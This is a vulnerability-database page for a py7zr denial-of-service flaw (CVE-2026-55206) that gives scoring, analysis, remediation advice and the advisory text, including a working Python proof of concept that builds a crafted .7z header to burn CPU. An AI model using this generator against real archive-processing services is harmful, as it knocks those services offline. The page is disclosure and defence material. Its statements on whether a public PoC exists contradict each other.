Skip to main content

py7zr EUVDEUVD-2026-42397

| CVE-2026-55206 HIGH
Inefficient Algorithmic Complexity (CWE-407)
2026-06-19 https://github.com/miurahr/py7zr GHSA-h4gh-22qq-72r7
8.7
CVSS 4.0 · Vendor: https://github.com/miurahr/py7zr
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach py7zr upload/parse endpoint
  2. Delivery
    Submit crafted 50 KB .7z with huge numstreams
  3. Exploit
    Header parse hits O(n^2) packpositions loop
  4. Execution
    CPU pinned before any extraction
  5. Impact
    Repeat to exhaust server CPU

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V2 - Validation and Business Logic Algorithmic complexity limits
Exploitation Conditions

The target application must open an attacker-supplied .7z archive from an untrusted source using py7zr.SevenZipFile() on version 1.1.2 or earlier. No extraction, valid archive content, authentication, or user interaction is required - the quadratic cost occurs purely during header parsing in SevenZipFile.__init__() from the attacker-controlled numstreams field. The practical limiting factor is that the attacker needs a channel to submit archives into a py7zr-based workflow; impact is transient CPU exhaustion rather than persistent compromise, and the effect scales with the numstreams value encoded (a single 50 KB file yields ~7 seconds of CPU).

Impact

The vendor CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H) scores 8.7 and accurately reflects a pure-availability impact: no confidentiality or integrity loss, but a low-complexity, unauthenticated, no-interaction trigger against any application that opens untrusted archives. The signals are internally consistent - network-reachable, trivial to exploit, and a working PoC is published - which raises real-world likelihood. However, impact is bounded: it is temporary CPU amplification, not memory exhaustion, crash, or code execution, and the crafted input eventually errors out as malformed. No EPSS score is provided, there is no KEV listing, and no active exploitation is reported, so this is a genuine but moderate priority - patch promptly where untrusted archives are processed, but it is not a critical RCE-class emergency. The 8.7 is driven by ease and reachability of the DoS rather than by severe consequence.

Exploit ScenarioDerived

An attacker uploads a ~50 KB .7z file with a maliciously large numstreams value to a service that opens archives with py7zr (for example a file scanner or upload processor). When the application calls SevenZipFile() to inspect the file, header parsing performs quadratic work and burns seconds of CPU before any extraction, and repeated requests exhaust server CPU. A working PoC is published in the advisory, and the AV:N/AC:L/PR:N/UI:N profile means no authentication or user interaction is required.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jul 08, 2026

Denial of service in py7zr (a pure-Python 7-Zip library) versions 1.1.2 and earlier lets a remote, unauthenticated attacker exhaust CPU with a tiny crafted .7z archive. The flaw is in header parsing (PackInfo._read), so merely opening the archive with SevenZipFile() - no extraction - triggers the cost; a ~50 KB file consumes roughly 7 seconds of CPU. Publicly available exploit code exists (PoC published in the GHSA advisory), but there is no active exploitation identified and it is not listed in CISA KEV.

Earlier versions of this analysis (2)
v2 Jul 08, 2026 - 21:31 cvss changed CVSS 8.7

Uncontrolled CPU consumption in py7zr (the pure-Python 7-Zip library) versions <= 1.1.2 lets a remote attacker cause denial of service by supplying a small crafted .7z archive whose header declares a huge numstreams value. The quadratic sum() pattern in PackInfo._read() forces O(n^2) work during SevenZipFile.__init__() header parsing — before any extraction — so a 50 KB file burns ~7 seconds of CPU. Publicly available exploit code exists (working PoC in the advisory), but there is no public exploit identified as being used in active exploitation, and the fix is available in v1.1.3.

v1 Jun 19, 2026 - 23:44

CPU exhaustion in py7zr versions up to and including 1.1.2 enables denial-of-service via a crafted .7z archive: the numstreams field in the archive header is parsed without bounds enforcement and fed into an O(n²) cumulative sum in PackInfo._read(), causing disproportionate CPU consumption during header parsing before any extraction occurs. A ~50 KB archive with numstreams=50000 consumes roughly 7 seconds of CPU per open call, making repeated small requests capable of saturating server resources. No public exploit identified at time of analysis as KEV-listed active exploitation, but a fully working proof-of-concept is publicly available in GitHub Security Advisory GHSA-h4gh-22qq-72r7.

RemediationAI

Vendor-released patch: upgrade to py7zr 1.1.3 or later (fix confirmed at https://github.com/miurahr/py7zr/releases/tag/v1.1.3 and advisory GHSA-h4gh-22qq-72r7); the patch both caps the parsed numstreams parameter and replaces the O(n^2) computation with an O(n) accumulate. Note that 1.1.3 also fixes CVE-2026-23879 (arbitrary file write) and CVE-2026-55195 (decompression-bomb DoS), so upgrading closes three issues at once. If immediate upgrade is impossible, restrict which archives reach py7zr: reject or size-limit .7z uploads from untrusted sources, and run archive parsing in a sandboxed worker with a strict CPU-time/timeout limit (for example a subprocess killed after a few seconds) so a single malicious header cannot pin a request thread; rate-limit archive-processing endpoints. The trade-off is added operational complexity and possible rejection of unusual but legitimate archives, so upgrading remains the clean fix.

Affected VersionsENISA

py7zr < 1.1.3

Affected Packages

pypi py7zr fix: 1.1.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

py7zr is a widely used pure-Python library for reading and writing 7-Zip archives, commonly embedded in file-processing pipelines, malware sandboxes, backup tooling, and upload handlers. The root cause is CWE-407 (Inefficient Algorithmic Complexity): PackInfo._read() in archiveinfo.py builds pack positions with 'self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]'. Because each iteration re-sums the list from the beginning, the loop is O(n^2) in numstreams, a value read directly from the attacker-controlled archive header via read_uint64(). The vendor fix replaces this with an O(n) cumulative sum using itertools.accumulate and enforces a limit on the parsed parameter. The affected package is identified by CPE pkg:pip/py7zr.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/miurahr/py7zr) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.5 HIGH

Unauthenticated network input parsed with low complexity and no interaction (AV:N/AC:L/PR:N/UI:N); only availability is affected via CPU exhaustion, so C:N/I:N/A:H with scope unchanged.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE MEDIUM
Red Hat 6.5 MEDIUM

Primary rating from Vendor (https://github.com/miurahr/py7zr).

CVSS VectorVendor: https://github.com/miurahr/py7zr

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Jul 08, 2026 - 21:32 vuln.today
v3 - CVSS changed
Analysis Updated
Jul 08, 2026 - 21:31 vuln.today
v2 - CVSS changed
CVSS changed
Jul 08, 2026 - 21:22 NVD
8.7 (HIGH)

DescriptionCVE.org

Summary

PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.__init__() - no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time.

Details

The vulnerable code is in PackInfo._read() (archiveinfo.py):

self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]

numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.__init__(), before any extraction.

Suggested fix - replace with O(n) cumulative sum:

from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes))

PoC

import struct, io, binascii, time
  import py7zr
  from py7zr.archiveinfo import write_uint64, PROPERTY

  MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c'

  def encode_uint64(v):
      buf = io.BytesIO()
      write_uint64(buf, v)
      return buf.getvalue()

  def build_7z_with_streams(numstreams):
      header = io.BytesIO()
      header.write(PROPERTY.HEADER)
      header.write(PROPERTY.MAIN_STREAMS_INFO)
      header.write(PROPERTY.PACK_INFO)
      header.write(encode_uint64(0))
      header.write(encode_uint64(numstreams))
      header.write(PROPERTY.SIZE)
      for _ in range(numstreams):
          header.write(encode_uint64(1))
      header.write(PROPERTY.END)
      header.write(PROPERTY.END)
      header.write(PROPERTY.END)
      header_data = header.getvalue()

      out = io.BytesIO()
      out.write(MAGIC)
      out.write(b'\x00\x04')
      next_crc = binascii.crc32(header_data) & 0xFFFFFFFF
      start_header = (struct.pack('<Q', 0)
                      + struct.pack('<Q', len(header_data))
                      + struct.pack('<I', next_crc))
      out.write(struct.pack('<I', binascii.crc32(start_header) &
  0xFFFFFFFF))
      out.write(start_header)
      out.write(header_data)
      return out.getvalue()

  for n in [1000, 5000, 10000, 30000, 50000]:
      archive = build_7z_with_streams(n)
      start = time.time()
      try:
          with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z:
              pass
      except Exception:
# The crafted archive may later raise due to being malformed,
# but the quadratic work has already been performed during
# header parsing in SevenZipFile.__init__().
          pass
      elapsed = time.time() - start
      print(f"n={n:6d}  size={len(archive):8d} bytes
  time={elapsed:.3f}s")

Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.

Results:

n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s

Impact

Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 14 pypi packages depend on py7zr (9 direct, 5 indirect)

Ecosystem-wide dependent count for version 1.1.3.

Executive ViewAI

Why It Matters

py7zr, a Python library for processing 7-Zip archives, contains a denial-of-service vulnerability enabling remote, unauthenticated attackers to exhaust system CPU. Organizations using py7zr in production environments-especially for processing user-supplied or untrusted archives-face immediate service availability risk. Publicly available exploit code exists.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 76% exploitable
Prevalence
Medium
popular pure-Python 7z library on PyPI, not universally deployed
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy